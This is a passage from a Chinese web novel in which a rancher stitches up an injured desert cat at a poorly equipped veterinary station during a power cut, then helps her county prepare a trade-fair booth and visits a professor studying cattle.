看着灯光投下的那跟狗啃过一样的影子，姚新泉没忍住叹了口气。 第180章 吴军有点不太好意思地解释,“哪里都要钱，拨到兽医站的本来就少，更别说分到我们这个小站的了。再说了,我们站平时除了配合一些防疫工作,主要接诊的也都是些普通病情,用到手术室的机会也不多。” 姚新泉理解地点了点头,她虽然失望,但这确实是正常情况,这还好歹有个手术室呢，他们那种小地方，就连坏了的无影灯可都没有一台！ 器械柜的玻璃门缺了角，露出几把止血钳,旁边还散落着几块儿泛黄的纱布。 屋里最显眼的是那台脚踏式离心机,漆皮剥落得像得了皮肤病似的,姚新泉估计这玩意儿如果转起来肯定整个铁架子都在抖，谁都不知道哪一秒会散架。 墙角摞着一沓好像是什么兽药厂的纸箱，单独放着的一个纸箱里头塞着玻璃注射器和橡胶管之类的。 手术器械泡在搪瓷盆里,持针器、剪毛剪、阉割刀,姚新泉感觉这些工具可比自家切菜的刀钝多了！这真的能划开皮肤吗？ 铁皮桶里堆着沾血的脱脂棉，桶边靠着几把木柄电烙铁,这是用来给马匹烙号的,同时也会兼做止血工具。 手术室的墙上钉着《牲畜解剖图》,边角都卷曲了,还沾着不知道是什么药水或者液体。 姚新泉又在心里叹了口气，可却也不停地安慰自己，人治病都难，给牲畜治病有这些都不错了！ “里面的东西我都能用？”姚新泉问。 吴军点了点头,但想了想还是不好意思地加了一句，“器械你别给弄坏就行”，东西少了点儿都好说，但是机器那些要是坏了可就给自己找麻烦了啊！ “小姚要是弄坏了我给赔行了吧？”石副县长没好气地瞪他，自己会带来那种不着调的人吗？ 几人都笑了起来，姚新泉把几人往外赶，“行了，这边我自己来就行，你们在外面等我吧！” 师月江还想进来帮忙，但还是被姚新泉拦住了，“你又没做过手术，赶紧去外面歇着吧！” 师月江无奈只能跟着两人往外走，边走还边回头，想着姚新泉要是留他呢？ 石副县长看到后无奈摇头，可想了想觉得这样也挺好，小姚不吃亏。 姚新泉给手术台做了简单消毒给把小猫放到了手术台上，她摘下挂在门后的白大褂，布料因为反复洗涤已经发灰，袖口还留着几处淡黄色的碘酒痕迹。系扣子时，姚新泉的还是顿了一下，四颗扣子四种颜色，唉，条件艰苦啊！ 她微微蹲下身看向精神萎靡的小沙漠猫，轻声安抚，“别怕，我马上给你做缝合，很快的，我看这边有麻药，我给你打一针，不会疼的，等醒了再缓一会儿就给你吃肉好不好？” 小沙漠猫似懂非懂地喵了一声，姚新泉也听不懂它在叫什么，但听出了它声音里的亲近之意，“乖崽，很快就好。” 她转身走向器械柜，拿了个不锈钢的托盘把自己需要的东西都放在里面，墙角有个老式的煤炉，吴军提前把火烧上了，锅里热水已经开始沸腾，她把需要的器械都放进去煮，条件有限，只能这样消毒了。 万幸手术室里有麻醉剂，她给小猫打了一针，小猫很快就失去了意识。 姚新泉控制了量，所以小猫的麻醉时间不会太长，她得加快速度。 "要先清创。"她自言自语道，转 身去药柜取来生理盐水和双氧水。玻璃瓶碰撞发出清脆的声响，在寂静的手术室里格外清晰。 她用棉球蘸着生理盐水给小猫的伤口做了初步的清洁，随后又用双氧水进行了深层次的消毒，伤口处很快泛起了白沫。 清创完毕后，她仔细检查了伤口里层也没有异物后准备开始缝合。肌肉层有两处撕裂，需要分层缝合。她取出泡软的肠线，穿针时才发现自己的手在微微发抖，她缓缓吐出一口气，自己有点紧张。 之前也不是没给小动物缝合过，像马鹿，那家伙当时身上有不少伤口，自己给它也顺利缝合了，也没啥。 可能是因为沙漠猫太小了吧，感觉自己稍加不注意的话，小家伙就会被自己戳死…… 她握了几下手缓解了一下后继续缝合，第一针穿过表皮时，她采用了间断垂直褥式缝合。针尖刺入皮肤的触感通过持针器清晰传来，像是穿透一层坚韧的皮革。小猫做过麻醉自然是不会反抗，可她还是条件反射看了下小猫会不会因为疼痛而苏醒。 手术室的灯瓦数应该不高，不算太亮，姚新泉看得眼睛有点疼，等缝到第七针时，手术室突然暗了下来，停电了。 姚新泉脏话简直憋在了嘴边，忍了半天还是没忍住，“妈的！” “新泉，兽医站没手电筒，这一片都停电了，也不知道什么时候会来，只有蜡烛，我给你拿进来行吗？”师月江的声音突然从外面传来，姚新泉没忍住抽了抽鼻子，“你进来吧！” 都这样了，这手术室本来也不是什么无菌的环境，与其操心这个，还不如赶紧缝合完把小家伙带回去呢！ 师月江点燃了一根蜡烛，手上还拿着另一根进来了，他刚要说话突然屋里多了些亮光，是从外面传来的，师月江笑了起来，“我让石副县长去把车灯打开了，刚好在这边，有个窗户应该能照过来一些。再点根蜡烛，条件简陋，只能这样了。” 姚新泉顾不得说别的，她示意师月江凑近一点，借着车灯的亮光以及蜡烛的灯，她继续缝合。阴影随着火焰晃动，有时针尖的银光会突然在某个角度闪亮，像夜空中的流星。缝完表皮最后一针时，她的后背已经湿透，白大褂里面的短袖黏在身上，浑身不适。 给小猫包扎好，又摸了下小猫的脉，感觉一切正常她这才松了口气。 “刚停电的时候我杀人的心都有了”，姚新泉忍不住吐槽，说难听一点，再是保护动物这也就是给小动物手术，万一是给重症病人呢？突然停电？这也太离谱了吧？ “也是没办法的事情”，师月江也叹气可还是安抚道，“全国的基础设施都还需要发展进步，这边的也一样。电力系统建设相对滞后，发电装机还大多容量不足，电网结构不够完善，也会因为其他原因拉闸限电，就是不知道今天是什么个情况了。” 姚新泉也跟着叹气，但现在讨论这个已经没什么意义了，“本来想着在这里观察到小猫醒来呢，但都没电了，还是回去吧！”他们那片靠近乌洽会的展区，正常来讲，就算别的地方会停电，至少这段时间肯定是会保障那边的用电的，毕竟现在搞不好已经有不少外宾到了。 她四下打量了一下，还是过去把那个兽药厂的纸箱子拿过来了一个，叠了一下后把小猫放了进去，递给师月江让他端着。 自己把手术室还原，火熄灭，又把白大褂挂了回去，这才关上门出去了。 “怎么样？手术做完了吗？”吴军也心累，最近没停电他也就没想起这茬事儿。 姚新泉情绪已经缓过来了，她笑着道谢，“还算顺利，多亏了你提供的地方，麻醉剂我用了一只，还有酒精纱布那些也用了一些，你看我给多少钱合适？” 吴军不想要，拉扯了一通后姚新泉按着他们的购买价给了钱，主要是就算别的不提，麻醉剂肯定是有登记的，总不能让人家帮了忙反而还要倒贴或者惹上麻烦吧？ 三人很快开车回去了，他们参展队伍都是住的标间，但是姚新泉两人提前加了钱，再加上他们县是比较早到的，所以订了两间单人间，姚新泉二人到了招待所便各自回去了。 师月江本来想由自己来照顾小猫，但是姚新泉没同意，这也快醒了，还是自己看着吧！ 回到房间，姚新泉把小猫放在了床上，自己则先去洗澡了。这家招待所算是条件不错的一家，虽然外宾没住在这里，但是能作为招待参展单位的招待所，肯定不能烂兮兮的。 姚新泉洗了澡又把衣服搓了搓晾起来，擦着头发就出来了。 小猫麻醉还没醒，睡得正沉，偶尔还会发出几声细微的呼噜声。姚新泉看着它，眼神很是温柔，小家伙能顺利做上手术可真是少不了好心人的帮助啊！自己跟师月江两人人生地不熟的，想找人帮忙都不知道找谁，又是大晚上的，幸好有石副县长他们，不然自己还真不知道该怎么办才好，姚新泉琢磨着回头请他们吃个饭。 “系统，沙漠猫值多少积分？” “十分！” 姚新泉想了想觉得还可以，甚至还算大方，系统感受到对方的向法语气很是傲娇，“要不是考虑到你在外地增加了治疗难度，最多给你五分！” 姚新泉好笑，“行行行，你最大方了，你最贴心了好吧？” 系统哼了一声又不知道隐到哪里去了。 不知道过了多久，小猫终于有了动静，它缓缓地睁开了眼睛，迷茫地看了看四周，然后看向了姚新泉。姚新泉心里一喜，赶紧凑近了它，“小家伙，你醒了？感觉怎么样？”小猫似乎听懂了她的话，轻轻地喵了一声，声音微弱。 姚新泉笑着挠了挠它的下巴，见它精神渐渐好了起来，姚新泉把水碗给它端了过来，吃饭可以再晚一会儿，先喝水吧！ 180-190 第181章 沙漠猫到底是野生动物,身体素质跟家养的小动物没办法比，麻醉醒来后虽然一开始也不适应，没办法掌握自己的身体,甚至是小便都有点失禁,可半个来小时后人家就缓过来了。 姚新泉给孩子喂好饭跟水,又确定好伤口没问题后把它安置在不远处的椅子上便睡了过去。 第二天一早她是被热醒的,还没睁眼便觉得不对,脸上怎么毛炸炸的？ 她睁开眼一看,好家伙，小猫跳到她床头，在她头边上睡了一晚上…… 对方见她醒了，不紧不慢地拿脑袋蹭了蹭她的脸,嗓子里发出了甜腻腻的喵喵声。 姚新泉被小猫这一番亲昵举动弄得哭笑不得,她轻轻地把小猫从脸上移开,坐起身来。小猫似乎还意犹未尽，跟着她爬到胸口，姚新泉怕它拉扯到伤口赶紧把它端下来。 “我先看看你伤怎么样？”她揭开纱布看了一眼后便又盖好了,一晚上 看不出太大的好转,但是也没恶化，而且它精神状态这么好,应该身体也还成。 “你先在这趴着,我得起来了”,一觉睡到9点多,今天可还有别的事情呢！今明两天得抓紧时间再看看还有没有什么要调整的，后天展会就开始了，到那时候再发现什么问题可就来不及了。 她起身去洗漱，小猫轻巧地跳了下来也跟在她脚边,亦步亦趋，似乎生怕她丢下自己不管。 姚新泉洗漱完毕，转身差点踢到对方，她被吓了一跳，“宝啊，你就这么屁大点儿，我要是给你一脚你可就见不到明天的太阳了！” 小猫满脸无辜地喵呜一声，姚新泉无奈，想了想干脆把对方放在自己帽子里。 她今天穿了一件短袖带帽子的开衫，之前都是敞开穿的，现在拉起来小猫在自己帽子里待着就不怕踩到了。 姚新泉穿戴整齐后便出了门，小猫在帽子里只露出个小脑袋，东张西望，好奇得很。 刚出门就遇到来找他的师月江，他看到这一幕忍不住笑了出来，想伸手去摸摸小猫脑袋对方还不乐意，张嘴就吓唬他。 师月江莞尔，“去餐厅吃饭吧？吃完去会场看看？” 姚新泉点头，两人到了餐厅拿了早饭后师月江才道，“石副县长他们已经去会场了，咱们收拾完直接去找他们就成”，石副县长体谅他们两赶路一天肯定累着了，所以早晨也没叫他们出门，也不差这一两个小时。 姚新泉喝了口奶茶，脸上表情是毫不掩饰的嫌弃，“这奶淡得不行，没家里的好喝”，不过油饼还行，凑合吃吧。 感受到帽子里的动静她一顿，“小猫崽咋搞？”这家伙也吃不了这些乱七八糟的啊！ 师月江从兜里掏出了一个饭盒递给她，姚新泉接过来打开一看，是一盒新鲜的肉，看样子是牛肉。 感受到帽子里小家伙已经开始骚动了，她赶忙把小家伙掏了出来放在凳子上，然后把饭盒递给对方，小猫崽狼吞虎咽吃了起来。 姚新泉看着小猫崽吃得欢快，忍不住笑了起来，“看来咱们小猫猫胃口不错啊！” 师月江也笑了，“我特意去买了新鲜的牛肉，明天再给它换别的肉尝尝”，小家伙的食谱里可没有牛肉，它就那么大一丁点儿，要是敢捕猎牛，人家上去一角就能把它肠子挑出来。 “咱们小猫猫有口福了对不对？”姚新泉摸了摸它的下巴，小猫吃得呼噜呼噜的，也不护食，姚新泉看得心软软的。 两人吃好饭本想把小猫留在招待所，但是小猫不同意，她一关门对方就在屋里扯着嗓子嚎，跟人虐猫了一样，听得姚新泉无语，只能回去把它抄起来，“你还受着伤不好好休息非跟着我乱跑，你真是……” 她是不知道说什么了，这么个小犟种…… 姚新泉把它放在帽子里，师月江看了会儿后想了想跑到外面去买了一条纯黑色纱巾回来，把小猫接过来绑在胸前，就露个小猫头出来。 “你还有伤，乖乖待着知道吗？”姚新泉见他一副奶爸的模样笑得不行，又点了点小猫的头叮嘱它。 小猫倒不介意跟师月江一起，反正不能把它自己留下。 两人出门走了七八分钟就到地方了，姚新泉把石副县长昨天留给她的工作证以及师月江的临时工作证递给人家检查后才放行，可安检人员的目光却忍不住落在了师月江胸前。 “这，这还能带猫来？” 另一人挠了挠头，“好像也没说不能带？” 两人都有些茫然，可想了想进都进去了还有啥好说的？ 两人进了展馆后姚新泉忍不住扶着胸口深深吐出一口气，看向师月江的目光里满是笑意，“你说得对，咱们越是大摇大摆地进来，他们反而未必会拦咱们。” 她之前还发愁呢，这到底是干正事儿的地方，带一只沙漠猫来算怎么回事？会不会不让自己进来啊？ 结果人家师月江说啥，他说就大大方方地进，他们有工作证，不怕拦。 师月江抿着唇笑，两人的穿衣打扮还有气质都不像一般人，再加上又是参加这种国际性的盛会，还带着只猫大摇大摆地进来，那些人免不了就会觉得他们是不是有什么背景。 两人竟然就这么糊弄进来了…… 会展中心分为国内展馆和国外展馆，姚新泉看着不远处的国外展馆有点好奇，不过到底事有轻重缓急，“先去看看咱们得展台，回头再去那边逛逛”，师月江安慰道。 姚新泉点了点头，她也就是好奇，展会时间长着内，将近10天的时间足够她去逛了，他们来了这么多人，也不需要自己无时无刻地守在摊位上。 两人一路摸索过去，国内展馆这边主要还是以企业为单位的，姚新泉就看到了不少耳熟能详的本地企业以及不少广东、浙江等沿海省份的轻工、纺织、机电产品的相关公司。 以县市为单位的摊位不算少，但也不算多，大多数还是觉得自家没什么特别能上的了台面的产品，所以便没过来参展。 这样一看，他们县领导是真的可以了！ 姚新泉不知道的是，这次的机会也是石副县长辗转联系上自己的老领导，从他那边硬求来的，他们市这次可都没单独申请展台，他们一个一点都不出挑的县能得到名额是真不容易。 她一路逛着找自家县的展位，殊不知县里来的工作人员也在讨论她，或者说有人在抱怨。 “哪有这个样子的？她自己占了名额却不跟队，咱们这都来了多久了他们才到？这都几点了也不见人，人家抢破头也抢不到的机会，有些人真是得到了也不知道珍惜。” 石副县长刚好回来听到这番话脸就拉了下来，“怎么？你有意见是吧？人家小姚确实没按时来，但她本身也不是县委的人，你搞搞清楚，是我们请她来，不是她死乞白赖非要来的，人家是来帮忙，有特殊情况怎么就不能晚两天？” “还有，你背后嘀咕人家来得晚，但人家做了多少事情你不知道？那些工厂还有合作社得了人家多少主意你就算不关注应该也会听到一耳朵吧？” “还有这宣传册”，他没忍住拍了下桌子，真想把桌子下面箱子里的宣传册端出来扔到他脸上！ 一个个需要的时候都缩着头，半句有用的话都没说出来，现在倒知道在背后搞事情了？ 要不是看他还算有那么点能力，又是县委少有的大专生，不然他脑子有病才会让这么个人过来给自己添堵！ 沈鹏愣了一下，随后冷汗便下来了。 他确实是不高兴，本来最开始也还好，但是这几天石副县长张口闭口都是小姚怎么还没来，小姚到了哪里，除了小姚，好像他们这里没一个能用的人了一样？ 凭什么啊？ 他肯定比不上外面的人，他自我认知很清晰，他读大专，难不成是他不想考大学吗？是清华北大不香吗？ 这不是能力不足吗？ 可回来之后才发现，周围高中的一大把一大把，甚至还有初中的，他一个大专生甚至都可以称之为凤毛麟角了，他凭什么不能骄傲？ 他被选了出来，他也以为自己是过来大展拳脚的，结果呢？ 人家压根就没给他们任何重视！ 他怎么可能高兴！ 但他也没那个胆子在石副县长面前说对方坏话啊！ 沈鹏嘴皮子抖了抖，“石副县长，我不是那个意思”，他头都要裂开了，怎么就这么巧？ 石副县长冷笑，“你跟我解释不着，你不是直属我的人，现在也不过是借调而已，这次的事情了结之后你怎么样就是你领导的事情，你有什么毛病或者有什么问题跟我无关，我也管不着。但只要你在我这一天，我就明明白白告诉你，多做事少说话，跟你无关的事情也别管，你也管不着，等你哪天爬到老子头上你再管老 子怎么做事。” 第182章 姚新泉二人到的时候就感觉到这里气氛不太对,她总感觉有人在看她，可她抬头的时候对方又会立马低下头装作无事发生。 师月江脸色淡了些，他胸口的猫猫头不停地抬头去看他,师月江见状没忍住戳了戳它。 “小姚和小师来了啊”,石副县长调整好了心情朝两人笑了起来,他指着面前的摊位,“看看怎么样？” 姚新泉没再去搭理其他人,她的目光落在了展台上。 这一块儿的展台是统一的样式,每个县市或者企业都分到了一个区域，面积不算大，也就四五平米，但胜在整齐划一,而且上面已经给他们留好了挂牌子的地方。 刚过来的时候看过别人家的台子,上面基本都是用红底黑字写了某某县或者某某公司的名字,他们的到时候也得写。 展柜也是统一的，后面有个玻璃门，里面分成了好几层,可以放不少东西,外面带着锁，到了晚上他们想把东西带走也好,想留下也成。 前面的话则是由两张榫卯结构的原木色办公桌拼成展示台,铺着暗红色平绒布,布不算特别新,但是同样干净整洁。 这么大个展馆，每家都这样布置，一眼看过去真挺不错的，很是大气,姚新泉反正挺满意的。 地方不算不大，但也算五脏俱全。 姚新泉绕着展台转了一圈，时不时地点点头，师月江也跟在她身后，目光中满是赞许。他们县这次能来参展，本身就已经很不容易了，能有这样一个不错的展台，已经算是超出预期了，至少有了个平台不是吗？ 石副县长见他们满意，脸上也露出了笑容，“那就好，我还怕你们会嫌弃呢，毕竟条件有限。” 姚新泉摇了摇头，“哪里，已经很不错了，比我们想象中的要好太多。” 她最开始还担心会区别对待，毕竟这次还是有不少国营单位以及全国驰名的大企业的，他们县在里面算什么？ 弟弟都算不上。但现在别的地方别的展馆不说，至少在他们这一片大家都是一样的。 师月江也附和道，“是啊，石副县长，能有一个相对公平的平台对咱们来说已经不容易了”。 石副县长脸上带笑，心里却暗暗叹了口气，可不是相对公平吗？ 看人家那些展台，要么地段好，要么紧挨着一些紧俏产品，他们这个展台虽然没到最角落里，但人流什么的肯定也是受影响的。 不过还是那句话，能有机会站在这就不错了。 “东西都带来了，你们琢磨琢磨怎么摆放？”石副县长问。 倒不是说他什么都指望着这两个年轻人，主要是他希望能做到最好，他心里又有些没底儿，现在见着姚新泉就跟见到救命稻草一样。 虽然说他也知道这样不好，但有时候人是真的很难管住自己的。 就像之前沈鹏的事情，要是在县委里，他才懒得管对方扯什么淡呢，看不顺眼换其他人做就成了，哪怕他性子直，但一般情况下也不会这么下人面子。 但现在他根本没办法忍耐，他托了关系才搞到的名额，要是被人毁了那他是真的想吃人。 师月江想提醒提醒姚新泉，就见姚新泉给了他一个自己明白的眼神只能暗暗叹了口气不再纠结。 他主要是怕万一结果没那么好，那些人怪到姚新泉身上了可怎么办…… 姚新泉不是什么都不懂的小孩子，她怎么可能不明白风险，但，她正想着那边石副县长就先说了起来，“我也知道一直麻烦你怪不好意思的，只是你们都比我们见过世面，我们就想着让你们掌掌眼”，他赶忙补了一句，“不过你们放心，这最终决定都是我下的，不管结果如何，责任我来承担，谁要敢多说你们一句话，我绝对跟他没完！” 石副县长眼神中满是冷意，他想的很明白，讲难听点，这事儿如果真成了，能获得政治资本的是自己，不是姚新泉或者师月江，那凭什么让人家给自己承担风险？ 师月江脸上的冷意淡去了一些，姚新泉也不禁笑了下却也没多说什么，打量起了众人带过来的展品。 这次带来最大的展品当然就是毡绣，这东西堆放起来看不出啥，还是得挂起来才能看出好赖，这个肯定得挂。 除此之外，帽子这种东西也得摆放出来才好看。 “能在展台摆放模特吗？” 石副县长懵了一下，“什么模特？” “就是人家卖衣服的店里有的会放塑料制成的模特，身上穿一些展示用的服装，咱们县不是带了艾德莱斯过来吗？” 石副县长点了点头，“做成了衣服，带了三四套还有一整匹布。” 他们县其实没专门的艾德莱斯厂，但这不是下面有合作社能用比较原始的设备自制吗？想了想石副县长一咬牙干脆就带了过来，能不能卖再说，至少显得他们县里啥都有！ 万一真有眼瞎，呸呸，眼光独到的外商看到了他们的产品，那到时候为了不赔违约金，想来上面领导也会想办法的。 不管是在他们县建厂还是怎么样，就算把订单拿走他们也得漏点儿血给他，这就足够了。 “够了”，姚新泉道，“咱们弄上两个模特过来，穿上裙子带上帽子才能展示出咱们的产品嘛！” 石副县长点头，“那行就这样，这模特在哪买？服装店里会有吗？”他没咋逛过街，实在不知道这东西外面都有没有。 姚新泉摇了摇头，“不是每家都有，安排个人出去跑一下，可能要稍微大一点的店里才有，多花点钱也成的。” 石副县长点头，赶忙安排了人去办。 “得准备几个挂架，能把毡绣挂起来的，展台就这么大，咱们没办法入侵别人的位置，那就只能拓展上面的空间了”，想了想她又问，“没说不能往高了挂吧？” 石副县长失笑，“倒是没有，但太高了估计领导也有意见”，就在姚新泉以为他不同意时他话音一转，“不过咱们只要别挂太高，正常挂还是没问题的”，他心里却想的是至少得把自己带来的毡绣全都挂上去才行，至于高不高的，管他呢！ 上面实在不同意的话到时候再拆呗！ 只要被人看到就行！ 他清了清嗓子，表情有点不自然，“这种也算咱们的小设计了，等开展当天咱们再往外挂。” 姚新泉憋笑，好了，知道你是怕领导提前知道计划夭折，也怕别人抄袭。 “食物得能试吃才行”，姚新泉琢磨了一会儿继续说，食物这个东西是真没什么好说的，好不好吃试一下就知道了。 “我们准备了，像马肠子，咱们蒸熟之后切开放在那儿，谁来了都能吃。” 姚新泉点点头又摇摇头，“还不够，你难不成让人家用手抓着吃？” 能来这里的肯定是所谓的体面一些的人，在自己家里怎么样不好说，但出来之后你让人家抓着吃那就不太合适。 “让人去订一些那种小托盘吧，就吃蛋糕的那种”，姚新泉想了想眼睛一亮，“不用太大，就手掌这么大的托盘，再准备一些牙签，像是马肠子这种整体的那就提前切好到时候让他们托着吃，果丹皮这些我记得咱们的产品也是偏大的，到时候也可以切开让客人们方便试吃。” “蜂蜜之类的空口吃太甜了，看看能不能准备点一次性纸杯之类的让他们试着兑水喝……” 她讲了一堆建议，石副县长都让人记了下来，可却实在是有点顾虑，“会不会成本太高了？” 姚新泉点头，“成本是高，但吃的东西你如果让人吃的不高兴，或者觉得咱东西不干净，人家连试吃都未必会愿意的，我认为这是必要的成本，不过还是尊重你们的意见。” 石副县长半晌咬了咬牙，“买！” 都到了这一步，再投入点钱算什么？真颗粒无收他才该哭呢！ 两人又商量了一下细节，姚新泉把能想到的都说了出来，石副县长也一一应下，他现在是完全相信姚新泉的能力。 只要能把东西卖出去，他花点钱也认了。 姚新泉见他这样心里也有了底更是有什么便说什么，石副县长一通安排，手下的人哪怕是他现在很烦的沈鹏也被安排了出去，就剩他跟谢局两个。 “我成光杆司令了”，谢局跟他都笑了起来，“他们都跑出去忙可比都留在这成”，一个个心里没底儿待在一起啥都不干反而容易产生一些紧张的气氛，不好。 石副县长又跟谢局说了几句玩笑话，随后看向姚新泉，“小姚啊，你跟小师再看看还有什么没想到的，趁现在还有时间赶紧补上，不然等后天开展了我们再发现什么遗漏的可就来不及了。” 姚新泉点头，“行，我们再想想。” 两人又绕着展台走了一圈，师月江还好，姚新泉是真挺满意的，虽然条件有限，但他们县这次准备的确实挺充分的，能准备的都准备了也算是尽力了。 要是真的成了，那他们县之后的路可就太好走了。 能成了在他们县里开厂，税收是一方面，还能解决一部分的劳动力，多好！ 就算不行，那上面好空手把他们订单拿走？ 要能成可就太好了啊！ 第183章 姚新泉两人没好意思走,打算留下来帮帮忙。 石副县长指着师月江胸口的猫头问，“这就恢复好了？怎么还带出来了？” 姚新泉无奈，“它不愿意自己待在屋子里,与其让它闹腾伤了自己或者干脆跑掉,还不如带着呢！” 石副县长笑着想摸摸猫头,小猫却伸长了脖子要咬他,石副县长啼笑皆非,“性子还挺大,那你们之后就带着吗？” “伤口没好前肯定是带着，好了之后看它自己吧，愿意留下我们就给它放回去，不愿意的话就带回牧场那边,到时候我也能有个照应。” 石副县长点了点头也没再聊,现在重点还是放在了准备工作上。 当然了,有些布置还是要留在当天的，倒不是说他非要防着谁，好吧,他就是在防着别人,总不能他们辛辛苦苦想出来的点子，人家瞬间便抄了回去,到时候他们还能有什么竞争力？ 人不为己天诛地灭,他把点子贡献出去了,他们县怎么办？喝西北风去？他带着全县人民一起喝西北风？ 至于之后被抄就被抄吧,至少他们得是第一波！ 众人在展会里待了一整天，晚上刚回到招待所，石副县长就过来喊她，“那个什么模特到了,你看看行不行？” 见他表情不大好看，姚新泉有点奇怪，“怎么了？” “我看着像是积压在仓库里的，他们说转了一天只有这个给卖，能用吗？” 能不能用看了才知道。 姚新泉进去后就见面前站着一赤身裸体的模特，僵硬而惨白，脸上还挂着一种似笑非笑的笑意，竟然有点渗人。 她赶紧移开了目光，“用肯定是能用的，擦洗过了吗？” 石副县长点了点头，“搬回来的时候还脏兮兮的，都擦过了。” “那先拿套裙子给它穿上”，等穿上裙子后姚新泉却皱起了眉头，“有点呆板了”。 她碰了碰师月江，“你觉得咋样？是不是有点呆？感觉效果不算特别好。” 师月江想了想眼睛突然亮了起来，“新疆特色服饰只有动起来的时候才是最美的，你说的没错，太呆板了，得跳舞！” 几人都愣住了，跳舞？开什么玩笑，咋跳？ 姚新泉倒是很赞同，“本来就是能歌善舞的民族，这裙子肯定要舞起来才好看，但这模特怎么弄，咱们还能自己改造吗？” 买回模特的人不大高兴了，他跑了一天就买到这么一个宝贝，他们说改就改，改好了功劳不在他，改坏了他不白跑了吗？ 刚要说什么就见石副县长一拍手，“改！” “小师，你能改吗？” 师月江有些迟疑，最终还是道，“试试吧，他也没办法给承诺，只能尝试。” “那行，你说说需要什么材料，我让人去给你准备去”，都走了那么多步了也不差这一步两步，做！ 他报了材料，石副县长又安排人出去买了，两人回去的路上姚新泉有点不好意思，“你不用为了我这样的”，这做好了没奖励，做坏了别的不说，那几个人的眼刀子都要戳死他们了。 师月江倒无所谓，再说了，也就是一些简单的手工，只是没做过而已，算不上什么大事。 东西不难找，等东西找来后众人都集中到了师月江的房间，他把模特摆在最中间。 这就是一个最普通的人形模特，整体呈现直立姿势，双臂自然下垂。 而想要表现新疆舞的动感，必须彻底改变其基础姿态。 师月江翻出了煤油灯，打算先用煤油灯烘烤模特关节处的硬塑料，这塑料硬邦邦的时候没办法调整。 等关节那里软化后，师月江待上劳保手套隔热，然后进行塑形。他将模特右臂缓缓上举至头顶，左臂向侧方舒展，形成经典的"托帽式"舞姿。 塑料要想软化温度就一定得高，但温度一高又烫手，师月江无奈只能多戴了两层手套。 在调整的这个过程中还需要反复微调角度，让动作更自然。 而且塑料冷却得很快，每次加热后大概只能调整15度就调整不动了，硬掰的话会断。 胳膊上的动作还简单一些，腿部改造更为复杂，不只是姿势的问题，姿势一调整，重心也会偏移，还得想办法调整。 他又用钢锯小心锯开膝关节，以铁丝为轴心重新调整定位。模特的左腿直立，右膝弯曲，脚尖点地。 这个姿势一摆出来众人就乐了，“这不是那个托帽子的动作吗？” 师月江也笑，“我知道的动作不多，这个相对没那么复杂就选了这个托帽式。” 锯末纷纷扬扬落在铺开的旧报纸上，空气了也弥漫着塑料受热后的特殊气味，姚新泉去把窗户推开，又回来继续看。 姿势调整好了还得用石膏浆填补被切开的缝隙，待其凝固后再用砂纸细细打磨，使过渡处看起来自然流畅。 师月江松开模特，模特立马就往一边倒去，众人吓了一跳赶紧纷纷去扶，师月江赶忙扶住。 他把铜线在煤油灯上烤了烤，褪去僵直，铜线变得柔韧。随后又用钳子将一端拧成三角爪，又裹上一层用自行车内胎剪成的胶皮，像给野兽的脚掌包上软垫一样。 “得藏好了”，他掀开模特裙摆的衬里，指尖在髋关节处摩挲。随后用烧红的缝衣针嗤地刺穿塑料，铜线从孔洞穿出，弯成一道隐秘的，另一端延伸至裙摆阴影里，很好地隐藏了起来。 师月江把铜线的三角爪按在底座上，缓缓收紧。铜线绷直的瞬间，模特立住了！ “好！”石副县长一拍手，这可真好啊！ 众人脸上也多了几分笑意，这裙摆飞扬起来给人的感觉立马就不一样了，这不就活了？ “差不多就这样，咱们到时候地上摆上毛毡，挡不挡得住这个线影响也不大，怎么样？” 石副县长连说了几声好，他看向师月江的目光中多了几分赞赏，“小师啊，你这手艺可真不错，这都能改，之前倒是没看出来你还有这能耐呢！” 师月江谦虚地笑了笑，“也就是瞎鼓捣，这东西不难，就是得细心点儿再有点耐心”，那个塑料什么的得慢慢弯折，如果用力一猛，很容易就会折断。 姚新泉也道，“是啊，月江手特别巧，什么都会！” 师月江看着她的眼神满是笑意，特别温柔，两人旁若无人的样子看得石副县长牙酸。 几人又商量了一下展台的最终布置，确定没什么问题后，才各自回去休息。 第二天姚新泉两人就没再过去了，该做的准备工作也做的差不多了，他们俩再去一趟也没啥意思，石副县长就给俩人放假了。 姚新泉想了想道，“咱们去拜访下陈教授吧？” 好不容易来了趟乌市，人家陈教授帮了他们不少忙，总不好来了一趟人都不过去吧？ 陈教授就是她小叔介绍给她的那位教授，两人这一年的时间里也没断了联系，隔一段时间就会通信的。 师月江自然没意见，两人不知道刘教授家的地址，想了想干脆提了点儿东西去了学校。 今天是星期五，姚新泉之前给他寄过信，知道他是在哪个办公室，带着师月江便过去了。 她敲了敲门，“请问刘教授在吗？” 有人抬起头来看向她，“刘权教授吗？” 姚新泉笑着点头，“是的，我之前和刘教授往来通信过，这次来乌我就想着来拜访一下，请问刘教授在吗？” 那人好像听过她，脸上的疑惑褪去了，“他在后面看他的宝贝牛呢，你在这等还是我让人带你过去？” 姚新泉有点不大好意思，“那麻烦您帮我问问谁方便带我一下吧？” 姚新泉拎着东西放到了刘权教授的桌子上，掰了三根香蕉又抓了几个桃子放到这位老师桌子上，随后那位老师招呼了名学生带她们去了后面。 她本以为怎么也得是一块儿板正一点的地方，但到了才发现那只是一片牧草丰盛的空地，几头健壮的牛正在悠闲地吃着草。而在一旁，一个穿着灰色衬衣看着甚至有些邋遢的中年男人正蹲在地上，手里拿着本子，时不时抬头观察着牛群，嘴里还念念有词。 姚新泉没见过对方，有些迟疑，“刘教授？” 刘教授皱着眉回头，一脸茫然地看着他们，“你是？” 姚新泉笑着摆了摆手，“姚新泉您还记得吗？我跟您通过信的。” 刘权眼睛瞪大了，“哎呦，你怎么过来啦？” 他绕着姚新泉看了一圈，“跟你小叔不太像啊！” 姚晓刚之前在这边读书的时候和他们家来往的还算密切，他媳妇儿老叫这位爱徒回去吃饭，他跟对方关系也比较亲密，跟对方很是熟悉。 “你小叔个子不高，你倒是个大高个儿啊！” 女生本来就显高，她一米七 ，身材比例又好，显得就更高了，她小叔一米七五左右，跟她站一起身高差别不大。 姚新泉笑了笑，“您这是？”她的目光落在了牛身上顿了顿，好像病了？ 第184章 “你看出来了？”刘教授有些惊讶,但转念一想人家自己也是开牧场的，而且从二人来往的信件中也可以看出这是一位胸中有丘壑的女孩子，肯定是看出什么了。 姚新泉点了点头,她往前走了两步但没太靠近,怕牛应激,“它好像有点腹泻,而且”,姚新泉的眉头皱了皱,“蹄子不太好，得注意些了，不然容易得蹄叶炎。” 刘教授倒没注意到蹄子，可仔细一看便觉得好像确实是有点问题,“你看看还有什么问题？” 